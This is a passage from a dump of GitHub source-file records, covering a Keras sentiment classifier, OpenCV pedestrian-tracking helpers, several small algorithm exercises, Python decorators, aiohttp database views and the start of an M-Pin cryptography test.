i = 2\r\n for word in word_vecs:\r\n W[i] = word_vecs[word]\r\n word_idx_map[word] = i\r\n i = i + 1\r\n return W, word_idx_map\r\n\r\n\r\ndef get_idx_from_sent(sent, word_idx_map):\r\n \"\"\"\r\n Transforms sentence into a list of indices. Pad with zeroes.\r\n \"\"\"\r\n x = []\r\n\r\n for word in sent:\r\n if word in word_idx_map:\r\n x.append(word_idx_map[word])\r\n else:\r\n x.append(1)\r\n\r\n return x\r\n\r\n\r\ndef make_idx_data(X_train, X_test, word_idx_map, maxlen=30):\r\n \"\"\"\r\n Transforms sentences into a 2-d matrix.\r\n \"\"\"\r\n x_train, x_test = [], []\r\n for line in X_train:\r\n sent = get_idx_from_sent(line, word_idx_map)\r\n x_train.append(sent)\r\n # for line in X_dev:\r\n # sent = get_idx_from_sent(line, word_idx_map)\r\n # x_dev.append(sent)\r\n for line in X_test:\r\n sent = get_idx_from_sent(line, word_idx_map)\r\n x_test.append(sent)\r\n\r\n x_train = sequence.pad_sequences(np.array(x_train), maxlen=maxlen)\r\n # print(\"X_train:\", x_train.shape)\r\n # x_dev = sequence.pad_sequences(np.array(x_dev), maxlen=maxlen)\r\n x_test = sequence.pad_sequences(np.array(x_test), maxlen=maxlen)\r\n\r\n return [x_train, x_test]\r\n\r\n\r\ndef accuracy_curve(h):\r\n acc, loss, val_acc, val_loss = h.history['acc'], h.history['loss'], h.history['val_acc'], h.history['val_loss']\r\n epoch = len(acc)\r\n plt.figure(figsize=(17, 5))\r\n plt.subplot(121)\r\n plt.plot(range(epoch), acc, label='Train')\r\n plt.plot(range(epoch), val_acc, label='Test')\r\n plt.title('Accuracy over ' + str(epoch) + ' Epochs', size=15)\r\n plt.legend()\r\n plt.grid(True)\r\n plt.subplot(122)\r\n plt.plot(range(epoch), loss, label='Train')\r\n plt.plot(range(epoch), val_loss, label='Test')\r\n plt.title('Loss over ' + str(epoch) + ' Epochs', size=15)\r\n plt.legend()\r\n plt.grid(True)\r\n plt.show()\r\n\r\n\r\ndef save_model(Masterdir, exp_details, model):\r\n \"\"\"\r\n Purpose -> Saves Keras model files to the given directory\r\n Input -> Directory and experiment details to be saved and trained model file\r\n Output -> Nil\r\n \"\"\"\r\n # Referred from:- http://keras.io/getting-started/faq/#how-can-i-save-a-keras-model\r\n model.save_weights(Masterdir + Modeldir + exp_details + '_weights.h5')\r\n json_string = model.to_json()\r\n f = open(Masterdir + Modeldir + exp_details + '_architecture.json', 'w')\r\n f.write(json_string)\r\n f.close()\r\n\r\n\r\ndef get_activations(model, layer, X_batch):\r\n \"\"\"\r\n Purpose -> Obtains outputs from any layer in Keras\r\n Input -> Trained model, layer from which output needs to be extracted & files to be given as input\r\n Output -> Features from that layer\r\n \"\"\"\r\n # Referred from:- TODO: Enter the forum link from where I got this\r\n get_activations = K.function([model.layers[0].input, K.learning_phase()], [model.layers[layer].output, ])\r\n activations = get_activations([X_batch, 0])\r\n return activations\r\n\r\n\r\ndef evaluate_model(X_test,x_chartrain, y_test, model, batch_size, numclasses):\r\n \"\"\"\r\n Purpose -> Evaluate any model on the testing data\r\n Input -> Testing data and labels, trained model and global variables\r\n Output -> Nil\r\n \"\"\"\r\n # Convert y_test to one-hot encoding\r\n y_test = np_utils.to_categorical(y_test, numclasses)\r\n # Evaluate the accuracies\r\n score, acc = model.evaluate([X_test, x_chartrain],y_test, batch_size=batch_size)\r\n print('Test score:', score)\r\n print('Test accuracy:', acc)\r\n\r\n\r\ndef save_data(Masterdir, filename, X_train, X_test, y_train, y_test):\r\n \"\"\"\r\n Purpose -> Saves train, test data along with labels and features in the respective directories in the folder\r\n Input -> Train and test data, labels and features along with the directory and experiment details to be mentioned\r\n Output -> Nil\r\n \"\"\"\r\n h5f = h5py.File(Masterdir + Datadir + 'Xtrain_' + filename + '.h5', 'w')\r\n h5f.create_dataset('dataset', data=X_train)\r\n h5f.close()\r\n\r\n h5f = h5py.File(Masterdir + Datadir + 'Xtest_' + filename + '.h5', 'w')\r\n h5f.create_dataset('dataset', data=X_test)\r\n h5f.close()\r\n\r\n output = open(Masterdir + Datadir + 'Ytrain_' + filename + '.pkl', 'wb')\r\n pickle.dump([y_train], output)\r\n output.close()\r\n\r\n output = open(Masterdir + Datadir + 'Ytest_' + filename + '.pkl', 'wb')\r\n pickle.dump([y_test], output)\r\n output.close()\r\n\r\n '''h5f = h5py.File(Masterdir+Featuredir+'features_train_'+filename+'.h5', 'w')\r\n h5f.create_dataset('dataset', data=features_train)\r\n h5f.close()\r\n\r\n h5f = h5py.File(Masterdir+Featuredir+'features_test_'+filename+'.h5', 'w')\r\n h5f.create_dataset('dataset', data=features_test)\r\n h5f.close()'''\r\n\r\n\r\nfrom keras.engine.topology import Layer\r\n\r\n\r\nclass MyLayer(Layer):\r\n\r\n def __init__(self, output_dim, **kwargs):\r\n self.output_dim = output_dim\r\n super(MyLayer, self).__init__(**kwargs)\r\n\r\n def call(self, x, a, b, c):\r\n # assert isinstance(x, list)\r\n # a, b,c = x\r\n return (1.0 - a) * b + a * c\r\n\r\n def compute_output_shape(self, input_shape):\r\n return (input_shape[0], self.output_dim)\r\n\r\n\r\nif __name__ == '__main__':\r\n \"\"\"\r\n Master function\r\n \"\"\"\r\n print('Starting RNN Engine...\\nModel: Char-level LSTM.\\nParsing data files...')\r\n out = parse(Masterdir, inputdatasetfilename, SEPERATOR, DATA_COLUMN, LABEL_COLUMN, LABELS)\r\n # print('out:', out)\r\n # outtest = parse(Masterdir, testfilename, SEPERATOR, DATA_COLUMN, LABEL_COLUMN, LABELS)\r\n X_train = out[0]\r\n X_train = np.asarray(X_train)\r\n y_train = out[1]\r\n # print(X_train)\r\n # print(y_train)\r\n # X_test = outtest[0]\r\n # y_test = outtest[1]\r\n print('Parsing complete!')\r\n\r\n print('Creating character dictionaries and format conversion in progess...')\r\n out = char2num(mapping_num2char, mapping_char2num, X_train, wordMAXLEN, charMAXLEN)\r\n # outtest=convert_char2num(mapping_num2char,mapping_char2num,X_test,MAXLEN)\r\n # print(out[0])\r\n # print('kkkkkkkkk')\r\n\r\n mapping_num2char = out[1]\r\n mapping_char2num = out[2]\r\n MAX_FEATURES = out[3]\r\n maxlen_char_word = out[4]\r\n X_chartrain = out[0]\r\n # print(X_chartrain)\r\n # print(X_chartrain.shape)\r\n # print('ooooo',X_chartrain)\r\n y_chartrain = np.asarray(y_train).flatten()\r\n X_chartrain, X_chartest, y_chartrain, y_chartest = train_test_split(X_chartrain, y_chartrain, test_size=0.2,\r\n random_state=42)\r\n # X_chartrain, X_chardev, y_chartrain, y_chardev = train_test_split(X_chartrain, y_chartrain, test_size=0.2,\r\n # random_state=42)\r\n\r\n # X_test = np.asarray(outtest[0])\r\n # y_test = np.asarray(y_test).flatten()\r\n print('Complete!')\r\n print('Splitting data into train and test...')\r\n X_train, X_test, y_train, y_test = train_test_split(X_train, y_train, test_size=0.2, random_state=42)\r\n vocab = build_data_train_test(X_train, X_test)\r\n vocsize = len(vocab)\r\n print('vocabsize:', vocsize)\r\n # X_train, X_dev, y_train, y_dev = train_test_split(X_train, y_train, test_size=0.2, random_state=42)\r\n\r\n print(X_train)\r\n print('X_train shape:', X_train.shape)\r\n # print('X_dev shape:', X_dev.shape)\r\n\r\n model_file = os.path.join('vector', 'glove_model.txt')\r\n model = gensim.models.KeyedVectors.load_word2vec_format(model_file, binary=False)\r\n\r\n w2v = load_bin_vec(model, vocab)\r\n print('word embeddings loaded!')\r\n print('num words in embeddings: ' + str(len(w2v)))\r\n\r\n W, word_idx_map = get_W(w2v, k=model.vector_size)\r\n x_train, x_test = make_idx_data(X_train, X_test, word_idx_map, maxlen=30)\r\n print('x_train',x_train)\r\n max_features = W.shape[0]\r\n\r\n 'Creating charembedding...'\r\n char_input = Input(shape=[wordMAXLEN, maxlen_char_word], dtype='int32', name='char_input') # (None, 36, 15)\r\n char_embed = Embedding(input_dim=MAX_FEATURES, output_dim=char_embedding_size,\r\n embeddings_initializer='lecun_uniform',\r\n input_length=[None, maxlen_char_word], mask_zero=False, name='char_embedding')(char_input)\r\n\r\n s = char_embed.shape # (?,36,15,150)\r\n print(s)\r\n char_embed = Lambda(lambda x: K.reshape(x, shape=(-1, s[-2], char_embedding_size)))(char_embed)\r\n print('char_embedding', char_embed)\r\n fwd_state = GRU(150)(char_embed)\r\n print(fwd_state)\r\n bwd_state = GRU(150, go_backwards=True)(char_embed)\r\n char_embed = Concatenate(axis=1)([fwd_state, bwd_state])\r\n print('char_lstm:', char_embed.shape)\r\n print(s[1])\r\n char_embed = Lambda(lambda x: K.reshape(x, shape=[-1, s[1], 2 * 150]))(char_embed)\r\n char_embed = Dropout(0.1, name='char_embed_dropout')(char_embed)\r\n print('char_lstm(reshape):', char_embed.shape) # (?,36,300)\r\n\r\n 'word_embedding'\r\n word_embed_dim = 300\r\n word_input = Input(shape=[wordMAXLEN], dtype='int32', name='input')\r\n embed = Embedding(input_dim=max_features, output_dim=word_embed_dim, input_length=wordMAXLEN,\r\n weights=[W], mask_zero=False, name='embedding', trainable=False)(word_input)\r\n print(embed.shape)\r\n\r\n\r\n 'attention is used to concate char2word'\r\n\r\n\r\n merged1 = merge([embed,char_embed], mode='sum')\r\n tanh = Activation('tanh')(merged1)\r\n W_tanh = Dense(300)(tanh)\r\n a = Activation('sigmoid')(W_tanh)\r\n\r\n t = Lambda(lambda x: K.ones_like(x, dtype='float32'))(a)\r\n\r\n merged2 = merge([a, embed], mode='mul')\r\n sub = Subtract()([t, a])\r\n merged3 = merge([sub, char_embed], mode='mul')\r\n x_wave = merge([merged2, merged3], mode='sum')\r\n\r\n # (None, 36, 5)\r\n auxc = Bidirectional(LSTM(150), merge_mode='concat')(\r\n x_wave)\r\n auxc=Dense(3,activation='softmax')(auxc)\r\n\r\n # 双向GRU\r\n bi_gru = Bidirectional(GRU(150, name='gru'), merge_mode='concat')(\r\n x_wave) # (None, None, 128)\r\n bi_gru = Dropout(0.1)(bi_gru)\r\n\r\n # 主分类器\r\n\r\n mainc = Dense(nclasses, activation='softmax')(bi_gru) # (None, 36, 4)\r\n\r\n\r\n # 将辅助分类器和主分类器相加,作为模型最终输出\r\n final_output = merge([auxc, mainc], mode='sum')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n # 'vector gating'\r\n # linembed = Dense(300, activation='sigmoid')(embed)\r\n # print('lineembed', linembed)\r\n # # gating = Lambda(lambda x,y: (1.0 - y)*x+y*x)(embed,linembed)\r\n # # gating=(1.0 - linembed)*embed+linembed*embed\r\n # # gating=MyLayer(300)(linembed,embed,char_embed)\r\n # t = Lambda(lambda x: K.ones_like(x, dtype='float32'))(linembed)\r\n # merged1 = merge([linembed, char_embed], name='merged1', mode='mul')\r\n # sub = Subtract()([t, linembed])\r\n # merged2 = merge([embed, sub], name='merged2', mode='mul')\r\n # gating = merge([merged1, merged2], name='gating', mode='sum')\r\n #\r\n # # gating = (1.0 - linembed) *embed +linembed * char_embed\r\n #\r\n # enc = Bidirectional(LSTM(150, recurrent_dropout=0.25))(gating)\r\n # fc = Dense(64, activation=\"relu\")(enc)\r\n # dropout = Dropout(0.25)(fc)\r\n # output = Dense(3, activation='softmax')(dropout)\r\n\r\n model = Model(inputs=[word_input, char_input], outputs=final_output, name='output')\r\n\r\n model.compile(loss='categorical_crossentropy',\r\n optimizer='adamax',\r\n metrics=['accuracy'],\r\n )\r\n print(model.summary())\r\n\r\n history = LossHistory()\r\n\r\n log_dir = datetime.now().strftime('model_%Y%m%d_%H%M')\r\n os.mkdir(log_dir)\r\n es = EarlyStopping(monitor='val_loss', patience=5,min_delta=0.001)\r\n # mc = ModelCheckpoint(log_dir + '\\\\CIFAR10-EP{epoch:02d}-ACC{val_acc:.4f}.h5',\r\n # monitor='val_loss', save_best_only=True)\r\n # tb = TensorBoard(log_dir=log_dir, histogram_freq=0)\r\n print(X_chartrain.shape)\r\n print(x_train.shape)\r\n # print(X_chardev.shape )\r\n # print(x_dev.shape)\r\n # print()\r\n\r\n y_chartrain = to_categorical(y_chartrain)\r\n y_chartest = to_categorical(y_chartest)\r\n model.fit([x_train,X_chartrain ], y_chartrain,\r\n batch_size=batch_size,\r\n shuffle=True,\r\n nb_epoch=number_of_epochs,\r\n validation_data=([x_test,X_chartest ], y_chartest),\r\n callbacks=[history, es])\r\n history.loss_plot('epoch')\r\n\r\n numclasses = 3\r\n\r\n # print('Evaluating model...')\r\n # evaluate_model(x_test,X_chartest , y_chartest, model, batch_size, numclasses)\r\n\r\n\r\n print('Saving experiment...')\r\n save_model(Masterdir, exp_details, model)\r\n # save_data(Masterdir, exp_details, X_train, X_test, y_train, y_test)\r\n print('Saved! Experiment finished!')\r\n\r\n y_pred1 = model.predict([ x_test,X_chartest], batch_size=batch_size)\r\n y_pred = np.argmax(y_pred1, axis=1)\r\n print(y_pred)\r\n\r\n\r\n def accuracy(original, predicted):\r\n print(\"F1 score is: \" + str(f1_score(original, predicted, average='macro')))\r\n print(\"recall score is: \" + str(recall_score(original, predicted, average='macro')))\r\n scores = confusion_matrix(original, predicted)\r\n print(scores)\r\n print(np.trace(scores) / float(np.sum(scores)))\r\n\r\n\r\n accuracy(y_test, y_pred)\r\n\r\n result_output = pd.DataFrame(data={\"sentiment\": y_pred})\r\n result_output.to_csv(\"../result/dual-lstm.csv\", index=False, quoting=3)\r\n","repo_name":"JunKong5/Semveal2020-task9","sub_path":"sentimix/Code/gating2.py","file_name":"gating2.py","file_ext":"py","file_size_in_byte":24011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72822355468","text":"import cv2\nimport numpy as np\nfrom scipy.spatial.distance import pdist, squareform\n\n\"\"\"\"las siguientes funciones se utilizan para la visualización de la transformación de perspectiva \n realizada a la toma principal del video\"\"\"\n\n\ndef plot_points_on_bird_eye_view(frame, pedestrian_boxes, M, scale_w, scale_h):\n frame_h = frame.shape[0]\n frame_w = frame.shape[1]\n\n node_radius = 10\n color_node = (192, 133, 156)\n thickness_node = 20\n solid_back_color = (41, 41, 41)\n\n blank_image = np.zeros(\n (int(frame_h * scale_h), int(frame_w * scale_w), 3), np.uint8\n )\n blank_image[:] = solid_back_color\n warped_pts = []\n for i in range(len(pedestrian_boxes)):\n\n mid_point_x = int(\n (pedestrian_boxes[i][1] * frame_w + pedestrian_boxes[i][3] * frame_w) / 2\n )\n mid_point_y = int(\n (pedestrian_boxes[i][0] * frame_h + pedestrian_boxes[i][2] * frame_h) / 2\n )\n\n pts = np.array([[[mid_point_x, mid_point_y]]], dtype=\"float32\")\n warped_pt = cv2.perspectiveTransform(pts, M)[0][0]\n warped_pt_scaled = [int(warped_pt[0] * scale_w), int(warped_pt[1] * scale_h)]\n\n warped_pts.append(warped_pt_scaled)\n bird_image = cv2.circle(\n blank_image,\n (warped_pt_scaled[0], warped_pt_scaled[1]),\n node_radius,\n color_node,\n thickness_node,\n )\n\n return warped_pts, bird_image\n\n\ndef get_camera_perspective(img, src_points):\n IMAGE_H = img.shape[0]\n IMAGE_W = img.shape[1]\n src = np.float32(np.array(src_points))\n dst = np.float32([[0, IMAGE_H], [IMAGE_W, IMAGE_H], [0, 0], [IMAGE_W, 0]])\n\n M = cv2.getPerspectiveTransform(src, dst)\n M_inv = cv2.getPerspectiveTransform(dst, src)\n\n return M, M_inv\n\n\ndef put_text(frame, text, text_offset_y=25):\n font_scale = 0.8\n font = cv2.FONT_HERSHEY_SIMPLEX\n rectangle_bgr = (35, 35, 35)\n (text_width, text_height) = cv2.getTextSize(\n text, font, fontScale=font_scale, thickness=1\n )[0]\n # set the text start position\n text_offset_x = frame.shape[1] - 400\n # make the coords of the box with a small padding of two pixels\n box_coords = (\n (text_offset_x, text_offset_y + 5),\n (text_offset_x + text_width + 2, text_offset_y - text_height - 2),\n )\n frame = cv2.rectangle(\n frame, box_coords[0], box_coords[1], rectangle_bgr, cv2.FILLED\n )\n frame = cv2.putText(\n frame,\n text,\n (text_offset_x, text_offset_y),\n font,\n fontScale=font_scale,\n color=(255, 255, 255),\n thickness=1,\n )\n\n return frame, 2 * text_height + text_offset_y\n\n\ndef plot_pedestrian_boxes_on_image(frame, pedestrian_boxes):\n frame_h = frame.shape[0]\n frame_w = frame.shape[1]\n thickness = 2\n # color_node = (192, 133, 156)\n color_node = (160, 48, 112)\n # color_10 = (80, 172, 110)\n\n for i in range(len(pedestrian_boxes)):\n pt1 = (\n int(pedestrian_boxes[i][1] * frame_w),\n int(pedestrian_boxes[i][0] * frame_h),\n )\n pt2 = (\n int(pedestrian_boxes[i][3] * frame_w),\n int(pedestrian_boxes[i][2] * frame_h),\n )\n\n frame_with_boxes = cv2.rectangle(frame, pt1, pt2, color_node, thickness)\n\n\n return frame_with_boxes\n","repo_name":"laumc98/Detection-Tracking-of-Players","sub_path":"Códigos/aux_functions.py","file_name":"aux_functions.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"29777702406","text":"testCases = int (input())\nres = []\nfor _ in range(testCases):\n \n grid_size = int (input())\n grid = []\n operation_count= 0\n\n for k in range(grid_size):\n \n grid.append(input())\n \n\n for row_index in range(grid_size):\n temp =[]\n for col_index in range(grid_size):\n temp.append(grid[row_index][col_index])\n temp.append(grid[col_index][-1-row_index])\n temp.append(grid[-1-row_index][-1-col_index])\n temp.append(grid[-1-col_index][row_index])\n\n \n # \n res.append(operation_count//2)\nprint(res)\n\n\n\n\n\n","repo_name":"joseph-birara/A2SV-Competitive-programming","sub_path":"codeforce/beautifulGrid.py","file_name":"beautifulGrid.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1897576612","text":"from covid_lib import functions as f\nfrom covid_lib import bigquery_interface as cbq\nimport pandas as pd\n\ndata_url = \"https://raw.githubusercontent.com/BuzzFeedNews/nics-firearm-background-checks\" \\\n \"/master/data/nics-firearm-background-checks.csv\"\nfilename = \"nics_data.csv\"\n\n\ndef data_process():\n if f.get_and_save_data(data_url, filename):\n df = pd.read_csv(filename)\n else:\n raise IOError(\"Data I/O error\")\n\n df['yearmonth'] = df['month']\n df['year'] = df['yearmonth'].apply(lambda x: int(x.split('-')[0]))\n df['month'] = df['yearmonth'].apply(lambda x: int(x.split('-')[1]))\n\n cbq.write_df_to_bq('firearms_background_checks', '', [], df)\n\n\nif __name__ == \"__main__\":\n data_process()\n","repo_name":"trevorbalint/covid-19","sub_path":"firearm_background_checks/process_nics.py","file_name":"process_nics.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72407067468","text":"import warnings\nfrom collections.abc import Callable, Iterable\nfrom functools import wraps\nfrom typing import Any\n\nfrom public import public\n\nfrom moll.typing import OneOrMany\n\n\n@public\ndef args_support(deco: Callable):\n \"\"\"\n Decorator to allow a decorator to be used with or without arguments.\n\n Examples:\n Decorate a decorator with `@args_support`\n >>> @args_support\n ... def deco(fn, return_const=10):\n ... return lambda: return_const\n\n Now the decorator can be used as `@deco`\n >>> @deco\n ... def hello_fn():\n ... return 'hello'\n >>> hello_fn()\n 10\n\n Or as `@deco(...)`\n >>> @deco(return_const=30)\n ... def goodbye_fn():\n ... return 'goodbye'\n >>> goodbye_fn()\n 30\n \"\"\"\n\n @wraps(deco)\n def wrapper(*args, **kwargs):\n if len(args) == 1 and len(kwargs) == 0 and callable(args[0]):\n # Called as @deco\n return deco(args[0])\n else:\n # Called as @deco(...)\n return lambda fn_: deco(fn_, *args, **kwargs)\n\n return wrapper\n\n\n@public\ndef listify(\n fn: Callable[..., Iterable],\n) -> Callable:\n \"\"\"\n Decorator to convert a generator function into a list-returning function.\n\n Examples:\n >>> @listify\n ... def numbers():\n ... yield from range(5)\n >>> numbers()\n [0, 1, 2, 3, 4]\n\n >>> @listify\n ... def empty():\n ... if False: yield\n >>> empty()\n []\n \"\"\"\n\n @wraps(fn)\n def wrapper(*args, **kwargs) -> list:\n return list(fn(*args, **kwargs))\n\n return wrapper\n\n\n@public\n@args_support\ndef no_warnings(\n fn: Callable,\n suppress_rdkit=True,\n) -> Callable:\n \"\"\"\n Decorator to suppress warnings in a function.\n\n Examples:\n >>> import warnings\n >>> @no_warnings\n ... def warn():\n ... warnings.warn(\"Boooo!!!\", UserWarning)\n >>> warn()\n\n >>> from rdkit import Chem\n >>> @no_warnings\n ... def warn_rdkit():\n ... Chem.MolFromSmiles('C1=CC=CC=C1O')\n >>> warn_rdkit()\n \"\"\"\n RDLogger = None\n if suppress_rdkit:\n from rdkit import RDLogger\n\n @wraps(fn)\n def wrapper(*args, **kwargs):\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n if suppress_rdkit and RDLogger is not None:\n RDLogger.DisableLog(\"rdApp.*\")\n result = fn(*args, **kwargs)\n if suppress_rdkit and RDLogger is not None:\n RDLogger.EnableLog(\"rdApp.*\")\n return result\n\n return wrapper\n\n\n@public\n@args_support\ndef no_exceptions(\n fn: Callable,\n exceptions: OneOrMany[type[BaseException]] = Exception,\n default: Any = None,\n) -> Callable:\n \"\"\"\n Decorator to catch exceptions and return a default value instead.\n\n Examples:\n >>> @no_exceptions(default='Error occurred')\n ... def bad_fn(x):\n ... return x / 0\n >>> bad_fn(10)\n 'Error occurred'\n\n >>> @no_exceptions(exceptions=ZeroDivisionError)\n ... def bad_fn(x):\n ... return x / 0\n >>> bad_fn(10)\n\n >>> @no_exceptions(exceptions=TypeError)\n ... def bad_fn(x):\n ... return x / 0\n >>> bad_fn(10)\n Traceback (most recent call last):\n ...\n ZeroDivisionError: division by zero\n \"\"\"\n\n @wraps(fn)\n def wrapper(*args, **kwargs):\n try:\n return fn(*args, **kwargs)\n except exceptions:\n return default\n\n return wrapper\n\n\n@public\n@args_support\ndef filter_(\n fn: Callable[..., Iterable],\n cond: Callable[[Any], bool] | None = None,\n) -> Callable:\n \"\"\"\n Decorator to filter iterable items returned by a function by a value.\n\n Examples:\n >>> @filter_\n ... def numbers():\n ... return [5, 15, None, 25]\n >>> numbers()\n [5, 15, 25]\n\n >>> @filter_\n ... def numbers():\n ... yield from [5, 15, None, 25]\n >>> numbers()\n [5, 15, 25]\n\n >>> @filter_(cond=lambda x: x > 10)\n ... def numbers():\n ... return [5, 15, 20, 25]\n >>> numbers()\n [15, 20, 25]\n \"\"\"\n\n @wraps(fn)\n def wrapper(*args, **kwargs):\n return list(filter(cond, fn(*args, **kwargs)))\n\n return wrapper\n","repo_name":"vsheg/moll","sub_path":"moll/utils/_decorators.py","file_name":"_decorators.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19544708377","text":"import os \nimport sys \nimport numpy as np\nfrom random import shuffle\nfrom ops.imageProcess import imageMerge\nfrom ops.imageProcess import UndoNormalizedImg\nfrom ops.readData import readData\nfrom ganModel1 import DCGan\n\n\ndef test(): \n imgDirPath = 'data/flower/img'\n textDirPath = 'data/flower/txt'\n modelDirPath = 'data/models/flower'\n\n imgWidth = 32\n imgHeight = 32\n\n data = readData(imgDirPath, textDirPath, imgWidth, imgHeight)\n\n #shuffle(data)\n\n gan = DCGan()\n gan.loadModel(modelDirPath)\n\n pictureNum = 3\n repeatNum = 1\n\n for i in range(pictureNum):\n dataUnit = data[i]\n img = dataUnit[0]\n text = dataUnit[1]\n\n for j in range(repeatNum):\n result = gan.generateImage(text)\n result.save('data/flower/test/' + DCGan.modelName + '-generated-' + str(i) + '-' + str(j) + '.jpg')\n\n\nif __name__ == '__main__':\n test()","repo_name":"happyMH/MK","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42652233397","text":"# Uses python3\nimport sys\nfrom collections import namedtuple\n\nSegment = namedtuple('Segment', 'start end')\n\ndef getEnd(segment):\n return segment[1]\n\ndef inSegment(point,segment):\n if point <= segment[1] and point >= segment[0]:\n return True\n return False\n\ndef optimal_points(segments):\n points = []\n #write your code here\n sorted_segments = sorted(segments,key=lambda x:x[1])\n lastPt = getEnd(sorted_segments[0])\n points.append(lastPt)\n\n for i in range(1,len(sorted_segments)):\n seg = sorted_segments[i]\n if not inSegment(lastPt,seg):\n lastPt = getEnd(seg)\n points.append(lastPt)\n return points\n\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n, *data = map(int, input.split())\n segments = list(map(lambda x: Segment(x[0], x[1]), zip(data[::2], data[1::2])))\n points = optimal_points(segments)\n print(len(points))\n for p in points:\n print(p, end=' ')","repo_name":"raju249/algotoolbox","sub_path":"Week 3/covering_segments.py","file_name":"covering_segments.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19167403423","text":"import importlib\nimport os\n\nDENY_FILE_LIST = [\"base.py\", \"start.py\", \"__init__.py\"]\n\n\ndef getPy(variable):\n if \".py\" in variable and variable not in DENY_FILE_LIST:\n return True\n return False\n\n\ndef startMigration():\n dir = os.path.dirname(os.path.realpath(__file__))\n files = os.listdir(dir)\n files = list(filter(getPy, files))\n try:\n for file in files:\n f = os.path.splitext(os.path.basename(file))[0]\n module = importlib.import_module(f\".{f}\", package=__package__)\n mig = module.Migration()\n mig.run()\n except Exception as e:\n print(\"ERROR from startMigration\")\n print(e)\n\n\n# startMigration()","repo_name":"Praneethtkonda/tss-wifi","sub_path":"server/models/migration/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3494492507","text":"import json\nfrom typing import Callable, Dict\nimport jsonschema\nfrom aiohttp.web import Response, View\nfrom app import db\nfrom app.schema import SCHEMA\n\n\nclass HealthView(View):\n \"\"\"Вью, созданное лишь для возможности проверить жив ли сервис.\"\"\"\n\n async def get(self) -> Response:\n \"\"\"Хелсчек сервиса.\"\"\"\n return Response(status=200)\n\n\nclass CheckStatus(View):\n async def get(self):\n engine = self.request.app[\"engine\"]\n psq_db = await db.select_data(engine)\n return Response(status=200, body=json.dumps(psq_db))\n\n\nclass CreateGoods(View):\n\n async def post(self):\n data = await self.request.json()\n jsonschema.validate(data, schema=SCHEMA)\n engine = self.request.app[\"engine\"]\n psq_db_post = await db.insert_data(data, engine)\n print(psq_db_post)\n print(type(psq_db_post))\n return Response(status=200, body=json.dumps(data))\n\n\nclass UpdateGoods(View):\n\n async def post(self):\n data = await self.request.json()\n jsonschema.validate(data, schema=SCHEMA)\n engine = self.request.app[\"engine\"]\n psq_db_post = await db.update_data(data, engine)\n print(psq_db_post)\n print(type(psq_db_post))\n return Response(status=200, body=json.dumps(data))\n","repo_name":"Miami-stack/async_delivery","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74126508109","text":"#Perfect number, a positive integer that is equal to the sum of its proper divisors. \r\n#The smallest perfect number is 6, which is the sum of 1, 2, and 3. \r\n#Other perfect numbers are 28, 496, and 8,128\r\nn= int(input(\"Enter any number: \"))\r\nsum = 0\r\nfor i in range(1,n):\r\n\tif n%i == 0:\r\n\t\tsum=sum+i\r\nif sum==n:\r\n\tprint(\"The number is a Perfect number!\")\r\nelse:\r\n\tprint(\"The number is not a Perfect number!\")","repo_name":"ZephyrAveryl777/Python-Programs","sub_path":"number programs/check if a number is a Perfect number.py","file_name":"check if a number is a Perfect number.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"24266841979","text":"import sys, os\nimport unittest\nfrom mpin import *\nimport json\nimport hashlib\n\n# Master Secret Shares\nMS1 = ffi.new(\"octet*\")\nMS1val = ffi.new(\"char []\", PGS)\nMS1[0].val = MS1val\nMS1[0].max = PGS \nMS1[0].len = PGS\n\nMS2 = ffi.new(\"octet*\")\nMS2val = ffi.new(\"char []\", PGS)\nMS2[0].val = MS2val\nMS2[0].max = PGS \nMS2[0].len = PGS\n\n# Client secret and shares \nCS1 = ffi.new(\"octet*\")\nCS1val = ffi.new(\"char []\", G1)\nCS1[0].val = CS1val\nCS1[0].max = G1 \nCS1[0].len = G1\n\nCS2 = ffi.new(\"octet*\")\nCS2val = ffi.new(\"char []\", G1) \nCS2[0].val = CS2val\nCS2[0].max = G1 \nCS2[0].len = G1\n\nSEC = ffi.new(\"octet*\")\nSECval = ffi.new(\"char []\", G1) \nSEC[0].val = SECval\nSEC[0].max = G1 \nSEC[0].len = G1\n\n# Server secret and shares \nSS1 = ffi.new(\"octet*\")\nSS1val = ffi.new(\"char []\", G2) \nSS1[0].val = SS1val\nSS1[0].max = G2 \nSS1[0].len = G2\n\nSS2 = ffi.new(\"octet*\")\nSS2val = ffi.new(\"char []\", G2)\nSS2[0].val = SS2val\nSS2[0].max = G2 \nSS2[0].len = G2\n\nSERVER_SECRET = ffi.new(\"octet*\")\nSERVER_SECRETval = ffi.new(\"char []\", G2)\nSERVER_SECRET[0].val = SERVER_SECRETval\nSERVER_SECRET[0].max = G2 \nSERVER_SECRET[0].len = G2\n\n# Time Permit and shares \nTP1 = ffi.new(\"octet*\")\nTP1val = ffi.new(\"char []\", G1)\nTP1[0].val = TP1val\nTP1[0].max = G1 \nTP1[0].len = G1\n\nTP2 = ffi.new(\"octet*\")\nTP2val = 